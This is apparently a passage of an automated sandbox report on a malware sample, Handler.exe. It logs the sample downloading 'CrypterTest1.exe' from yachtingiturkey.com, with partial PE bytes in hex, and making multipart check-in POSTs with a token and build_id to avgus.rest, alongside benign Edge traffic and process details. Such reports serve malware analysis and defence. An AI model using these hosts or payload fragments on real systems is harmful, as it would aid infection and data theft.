2025-01-13 19:18:51 UTC	91	IN	Data Raw: 35 30 0d 0a 4d 54 4d 34 4e 6a 4d 35 4e 48 78 6f 64 48 52 77 63 7a 6f 76 4c 33 6c 68 59 32 68 30 61 57 35 6e 61 58 52 31 63 6d 74 6c 65 53 35 6a 62 32 30 76 51 33 4a 35 63 48 52 6c 63 6c 52 6c 63 33 51 78 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 50MTM4NjM5NHxodHRwczovL3lhY2h0aW5naXR1cmtleS5jb20vQ3J5cHRlclRlc3QxLmV4ZXwxfGtra2t80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50022	162.0.209.157	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:52 UTC	184	OUT	GET /CrypterTest1.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: yachtingiturkey.com Cache-Control: no-cache
2025-01-13 19:18:53 UTC	290	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 content-type: application/x-msdownload last-modified: Fri, 10 Jan 2025 07:34:04 GMT accept-ranges: bytes content-length: 5768704 date: Mon, 13 Jan 2025 19:18:53 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2025-01-13 19:18:53 UTC	16094	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2025-01-13 19:18:53 UTC	16384	IN	Data Raw: 40 00 0e 10 54 50 61 63 6b 61 67 65 54 79 70 65 49 6e 66 6f 10 00 00 00 00 00 00 00 00 04 00 00 00 9c 10 40 00 00 00 00 00 02 09 54 79 70 65 43 6f 75 6e 74 02 00 a8 4a 40 00 04 00 00 00 02 09 54 79 70 65 54 61 62 6c 65 02 00 9c 10 40 00 08 00 00 00 02 09 55 6e 69 74 43 6f 75 6e 74 02 00 60 29 40 00 0c 00 00 00 02 09 55 6e 69 74 4e 61 6d 65 73 02 00 02 00 00 00 00 5c 4b 40 00 11 13 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 42 79 74 65 3e 01 00 00 00 00 00 00 00 11 00 00 00 b4 10 40 00 06 53 79 73 74 65 6d b4 10 40 00 02 00 00 00 94 4b 40 00 11 13 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 43 68 61 72 3e 02 00 00 00 00 00 00 00 ff ff ff ff 4c 10 40 00 06 53 79 73 74 65 6d 4c 10 40 00 02 00 00 00 cc 4b 40 00 11 13 54 41 72 72 61 79 3c 53 79 73 74 65 6d 2e 57 Data Ascii: @TPackageTypeInfo@TypeCountJ@TypeTable@UnitCount`)@UnitNames\K@TArray<System.Byte>@System@K@TArray<System.Char>L@SystemL@K@TArray<System.W
2025-01-13 19:18:53 UTC	16384	IN	Data Raw: 89 44 24 08 8b 44 24 08 2b 44 24 04 3b f8 77 09 c6 04 24 00 e9 c2 00 00 00 2b f8 8b 1e 85 db 0f 84 3b ff ff ff 8d 53 02 8b c3 f0 0f b1 16 3b d8 75 e9 e8 87 c7 ff ff 89 44 24 04 8b c6 e8 08 01 00 00 8b d0 8b 1d fc d8 93 00 8b cf 33 c0 ff 53 10 85 c0 0f 94 04 24 83 ff ff 74 23 e8 5d c7 ff ff 89 44 24 08 8b 44 24 08 2b 44 24 04 3b f8 76 0c 8b 44 24 08 2b 44 24 04 2b f8 eb 02 33 ff 80 3c 24 00 74 20 8b 1e f6 c3 01 75 2f 8b d3 83 ea 02 83 ca 01 8b c3 f0 0f b1 16 3b d8 75 e7 c6 44 24 01 01 eb 16 8b 1e 8b d3 83 ea 02 8b c3 f0 0f b1 16 3b d8 75 ef c6 44 24 01 01 80 7c 24 01 00 0f 84 6c ff ff ff 80 3c 24 00 74 0f e8 cd c5 ff ff 89 46 08 c7 46 04 01 00 00 00 0f b6 04 24 83 c4 10 5d 5f 5e 5b c3 8d 40 00 53 56 8b f0 8b c6 e8 e9 fc ff ff ff 4e 04 83 7e 04 00 75 30 33 Data Ascii: D$D$+D$;w$+;S;uD$3S$t#]D$D$+D$;vD$+D$+3<$t u/;uD$;uD$\|$l<$tFF$]_^[@SVN~u03
2025-01-13 19:18:53 UTC	15260	IN	Data Raw: 07 b0 04 e8 52 a5 ff ff 8b 45 fc 8b 55 f8 e8 93 03 00 00 e9 60 02 00 00 33 c0 89 45 ec 83 7d e0 00 74 0d 83 6d e0 08 8b 45 e0 8b 40 04 89 45 ec 8b 45 f8 0f b6 50 01 03 d0 8b c2 8b 78 02 8b 50 06 85 d2 74 07 8b 02 89 45 e4 eb 05 33 c0 89 45 e4 8b f3 0f af f7 8b c6 99 f7 fb 3b f8 74 07 b0 04 e8 f4 a4 ff ff 83 c6 08 85 f6 7d 07 b0 04 e8 e6 a4 ff ff 83 7d e0 00 74 0c 8b 45 e0 83 38 01 0f 85 cd 00 00 00 8b 45 e0 89 45 dc 83 7d e4 00 0f 84 ab 00 00 00 8b 45 e4 e8 f8 fe ff ff 84 c0 74 74 3b 5d ec 7d 05 89 5d e8 eb 06 8b 45 ec 89 45 e8 8b c6 e8 45 a3 ff ff 89 45 dc 8b 55 e8 0f af d7 8b 45 dc 83 c0 08 33 c9 e8 3b ad ff ff 83 7d e0 00 74 76 8b 45 e8 50 8b 55 e0 83 c2 08 8b 45 dc 83 c0 08 8b 4d e4 e8 0d f4 ff ff 3b 5d ec 7d 1a 8b 45 e0 83 c0 08 8b d3 0f af d7 03 c2 Data Ascii: REU`3E}tmE@EEPxPtE3E;t}}tE8EE}Ett;]}]EEEEUE3;}tvEPUEM;]}E
2025-01-13 19:18:53 UTC	16384	IN	Data Raw: ff 33 c0 5a 59 59 64 89 10 68 9e 06 41 00 8d 45 fc 8b 15 3c 4c 40 00 e8 ee c7 ff ff c3 e9 18 8d ff ff eb ea 5b 59 5d c2 08 00 55 8b ec 83 c4 f8 89 4d fc 89 55 f8 8b 45 fc e8 4c c8 ff ff 33 c0 55 68 f8 06 41 00 64 ff 30 64 89 20 8b 4d 08 03 c9 8b 45 fc 8b 55 0c 8d 14 50 8b 45 f8 e8 40 6a ff ff 33 c0 5a 59 59 64 89 10 68 ff 06 41 00 8d 45 fc 8b 15 3c 4c 40 00 e8 8d c7 ff ff c3 e9 b7 8c ff ff eb ea 59 59 5d c2 08 00 8d 40 00 55 8b ec 51 53 8b d9 89 55 fc 8b 45 fc e8 ea c7 ff ff 33 c0 55 68 59 07 41 00 64 ff 30 64 89 20 8b 4d 08 03 c9 03 c9 8b 55 0c 8b 45 fc 8d 04 98 e8 df 69 ff ff 33 c0 5a 59 59 64 89 10 68 60 07 41 00 8d 45 fc 8b 15 78 4c 40 00 e8 2c c7 ff ff c3 e9 56 8c ff ff eb ea 5b 59 5d c2 08 00 8b c0 55 8b ec 83 c4 f8 89 4d fc 89 55 f8 8b 45 fc e8 88 Data Ascii: 3ZYYdhAE<L@[Y]UMUEL3UhAd0d MEUPE@j3ZYYdhAE<L@YY]@UQSUE3UhYAd0d MUEi3ZYYdh`AExL@,V[Y]UMUE
2025-01-13 19:18:53 UTC	16384	IN	Data Raw: f0 ff ff a3 98 06 94 00 68 84 49 41 00 8b 03 50 e8 c9 f0 ff ff a3 9c 06 94 00 68 98 48 41 00 8b 03 50 e8 b7 f0 ff ff a3 a0 06 94 00 68 c0 48 41 00 8b 03 50 e8 a5 f0 ff ff a3 a4 06 94 00 68 f4 48 41 00 8b 03 50 e8 93 f0 ff ff a3 a8 06 94 00 68 b8 49 41 00 8b 03 50 e8 81 f0 ff ff a3 ac 06 94 00 68 dc 49 41 00 8b 03 50 e8 6f f0 ff ff a3 b0 06 94 00 b0 01 5b c3 00 00 50 00 53 00 41 00 50 00 49 00 2e 00 64 00 6c 00 6c 00 00 00 45 00 6e 00 75 00 6d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 65 00 73 00 00 00 45 00 6e 00 75 00 6d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 73 00 00 00 00 00 47 00 65 00 74 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 42 00 61 00 73 00 65 00 4e 00 61 00 6d 00 65 00 57 00 00 00 00 00 47 00 65 00 74 Data Ascii: hIAPhHAPhHAPhHAPhIAPhIAPo[PSAPI.dllEnumProcessesEnumProcessModulesGetModuleBaseNameWGet
2025-01-13 19:18:53 UTC	16384	IN	Data Raw: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 Data Ascii:
2025-01-13 19:18:53 UTC	16336	IN	Data Raw: 41 00 dc ac 41 00 00 00 0f 53 79 73 74 65 6d 2e 53 79 73 55 74 69 6c 73 00 00 00 00 02 00 00 00 00 00 f4 c6 41 00 00 00 00 00 00 00 00 00 00 00 00 00 18 c7 41 00 00 00 00 00 fc c6 41 00 00 00 00 00 02 c7 41 00 1c 00 00 00 b4 a6 41 00 94 80 40 00 9c 80 40 00 cc 98 42 00 d4 83 40 00 f4 83 40 00 f8 83 40 00 fc 83 40 00 f0 83 40 00 10 7e 40 00 2c 7e 40 00 d4 97 42 00 74 98 42 00 18 98 42 00 00 00 00 00 02 00 10 45 41 73 73 65 72 74 69 6f 6e 46 61 69 6c 65 64 00 18 c7 41 00 07 10 45 41 73 73 65 72 74 69 6f 6e 46 61 69 6c 65 64 f4 c6 41 00 dc ac 41 00 00 00 0f 53 79 73 74 65 6d 2e 53 79 73 55 74 69 6c 73 00 00 00 00 02 00 00 00 a4 c7 41 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 c7 41 00 00 00 00 00 ac c7 41 00 00 00 00 00 b2 c7 41 00 1c 00 00 00 b4 a6 41 00 94 Data Ascii: AASystem.SysUtilsAAAAA@@B@@@@@~@,~@BtBBEAssertionFailedAEAssertionFailedAASystem.SysUtilsAAAAA
2025-01-13 19:18:53 UTC	48	IN	Data Raw: 00 08 00 02 08 ec 06 42 00 00 00 04 53 65 6c 66 02 00 00 9c 10 40 00 01 00 09 43 68 61 72 43 6f 75 6e 74 02 00 02 00 42 00 0c 16 43 00 0f 47 65 Data Ascii: BSelf@CharCountBCGe
2025-01-13 19:18:53 UTC	1414	IN	Data Raw: 74 4d 61 78 43 68 61 72 43 6f 75 6e 74 03 00 9c 10 40 00 08 00 02 08 ec 06 42 00 00 00 04 53 65 6c 66 02 00 00 9c 10 40 00 01 00 09 42 79 74 65 43 6f 75 6e 74 02 00 02 00 36 00 10 16 43 00 0b 47 65 74 50 72 65 61 6d 62 6c 65 03 00 58 4b 40 00 08 00 02 08 ec 06 42 00 00 00 04 53 65 6c 66 02 00 40 58 4b 40 00 01 00 01 01 02 00 02 00 00 00 00 f0 06 42 00 07 0d 54 55 54 46 38 45 6e 63 6f 64 69 6e 67 74 05 42 00 e4 04 42 00 00 00 0f 53 79 73 74 65 6d 2e 53 79 73 55 74 69 6c 73 00 00 00 00 02 00 00 00 00 00 00 7c 07 42 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 08 42 00 00 00 00 00 a8 07 42 00 00 00 00 00 d6 07 42 00 10 00 00 00 48 ee 41 00 94 80 40 00 9c 80 40 00 dc 83 40 00 d4 83 40 00 f4 83 40 00 f8 83 40 00 fc 83 40 00 f0 83 40 00 10 7e 40 00 2c 7e 40 00 9c Data Ascii: tMaxCharCount@BSelf@ByteCount6CGetPreambleXK@BSelf@XK@BTUTF8EncodingtBBSystem.SysUtils\|BBBBHA@@@@@@@@~@,~@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50058	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:59 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----d2va1vsjmo8g4ek6phlx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:59 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 32 76 61 31 76 73 6a 6d 6f 38 67 34 65 6b 36 70 68 6c 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 64 32 76 61 31 76 73 6a 6d 6f 38 67 34 65 6b 36 70 68 6c 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 64 32 76 61 31 76 73 6a 6d 6f 38 67 34 65 6b 36 70 68 6c 78 0d 0a 43 6f 6e 74 Data Ascii: ------d2va1vsjmo8g4ek6phlxContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------d2va1vsjmo8g4ek6phlxContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------d2va1vsjmo8g4ek6phlxCont
2025-01-13 19:19:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:19:00 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50066	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:19:01 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ie3w47ymgdtjmy5fkxba User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:19:01 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 69 65 33 77 34 37 79 6d 67 64 74 6a 6d 79 35 66 6b 78 62 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 69 65 33 77 34 37 79 6d 67 64 74 6a 6d 79 35 66 6b 78 62 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 69 65 33 77 34 37 79 6d 67 64 74 6a 6d 79 35 66 6b 78 62 61 0d 0a 43 6f 6e 74 Data Ascii: ------ie3w47ymgdtjmy5fkxbaContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------ie3w47ymgdtjmy5fkxbaContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------ie3w47ymgdtjmy5fkxbaCont
2025-01-13 19:19:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:19:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50149	23.40.179.46	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:19:30 UTC	430	OUT	OPTIONS /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Origin: https://assets.msn.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-01-13 19:19:50 UTC	437	IN	HTTP/1.1 504 Gateway Time-out Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 278 Expires: Mon, 13 Jan 2025 19:19:50 GMT Date: Mon, 13 Jan 2025 19:19:50 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.26b22817.1736795970.12e76b9 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-01-13 19:19:50 UTC	278	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 37 26 23 34 36 3b 32 36 62 32 32 38 31 37 26 23 34 36 3b 31 37 33 36 37 39 35 39 37 30 26 23 34 36 3b 31 32 65 37 36 62 39 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 37 26 23 34 36 3b 32 36 62 32 32 38 31 37 26 23 34 36 3b 31 37 33 36 37 39 35 39 37 30 26 23 34 36 3b 31 32 65 37 Data Ascii: <HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>An error occurred while processing your request.<p>Reference #97.26b22817.1736795970.12e76b9<P>https://errors.edgesuite.net/97.26b22817.1736795970.12e7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50183	23.40.179.37	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:20:30 UTC	442	OUT	OPTIONS /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Origin: https://business.bing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-01-13 19:20:50 UTC	438	IN	HTTP/1.1 504 Gateway Time-out Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 280 Expires: Mon, 13 Jan 2025 19:20:50 GMT Date: Mon, 13 Jan 2025 19:20:50 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.38b22817.1736796030.10bc2e93 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-01-13 19:20:50 UTC	280	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 37 26 23 34 36 3b 33 38 62 32 32 38 31 37 26 23 34 36 3b 31 37 33 36 37 39 36 30 33 30 26 23 34 36 3b 31 30 62 63 32 65 39 33 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 37 26 23 34 36 3b 33 38 62 32 32 38 31 37 26 23 34 36 3b 31 37 33 36 37 39 36 30 33 30 26 23 34 36 3b 31 30 62 Data Ascii: <HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>An error occurred while processing your request.<p>Reference #97.38b22817.1736796030.10bc2e93<P>https://errors.edgesuite.net/97.38b22817.1736796030.10b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50446	162.159.61.3	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:25:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-13 19:25:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 64 65 66 66 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 50 00 0c 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: deffnelreportsnet)PL
2025-01-13 19:25:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 13 Jan 2025 19:25:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9017c5c3ad3f41d2-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 19:25:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 64 65 66 66 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0e 09 00 20 04 64 65 66 66 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 09 61 6b 61 6d 61 69 7a 65 64 c0 1c c0 31 00 05 00 01 00 00 54 59 00 14 05 61 31 38 35 38 04 64 73 63 64 06 61 6b 61 6d 61 69 c0 1c c0 5d 00 01 00 01 00 00 00 0d 00 04 17 28 b3 26 c0 5d 00 01 00 01 00 00 00 0d 00 04 17 28 b3 0e 00 00 29 04 d0 00 00 00 00 01 38 00 0c 01 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: deffnelreportsnet deffnelreportsnetakamaized1TYa1858dscdakamai](&]()84

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50445	162.159.61.3	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:25:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-13 19:25:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 64 65 66 66 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 50 00 0c 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: deffnelreportsnetA)PL
2025-01-13 19:25:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 13 Jan 2025 19:25:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9017c5c3a9c9437b-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 19:25:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 04 64 65 66 66 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0c 40 00 20 04 64 65 66 66 0a 6e 65 6c 72 65 70 6f 72 74 73 03 6e 65 74 09 61 6b 61 6d 61 69 7a 65 64 c0 1c c0 31 00 05 00 01 00 00 52 90 00 14 05 61 31 38 35 38 04 64 73 63 64 06 61 6b 61 6d 61 69 c0 1c c0 63 00 06 00 01 00 00 02 18 00 34 06 6e 30 64 73 63 64 c0 68 0a 68 6f 73 74 6d 61 73 74 65 72 06 61 6b 61 6d 61 69 03 63 6f 6d 00 67 85 66 d6 00 00 03 e8 00 00 03 e8 00 00 03 e8 00 00 07 08 00 00 29 04 d0 00 00 00 00 01 18 00 0c 01 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: deffnelreportsnetA@ deffnelreportsnetakamaized1Ra1858dscdakamaic4n0dscdhhostmasterakamaicomgf)

Target ID:	0
Start time:	14:18:01
Start date:	13/01/2025
Path:	C:\Users\user\Desktop\Handler.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Handler.exe"
Imagebase:	0x8a0000
File size:	399'472 bytes
MD5 hash:	9C11F8B0F55DFBCD4B67C6A56FB0F11F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:18:01
Start date:	13/01/2025
Path:	C:\Users\user\Desktop\Handler.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Handler.exe"
Imagebase:	0x930000
File size:	399'472 bytes
MD5 hash:	9C11F8B0F55DFBCD4B67C6A56FB0F11F
Has elevated privileges:	true
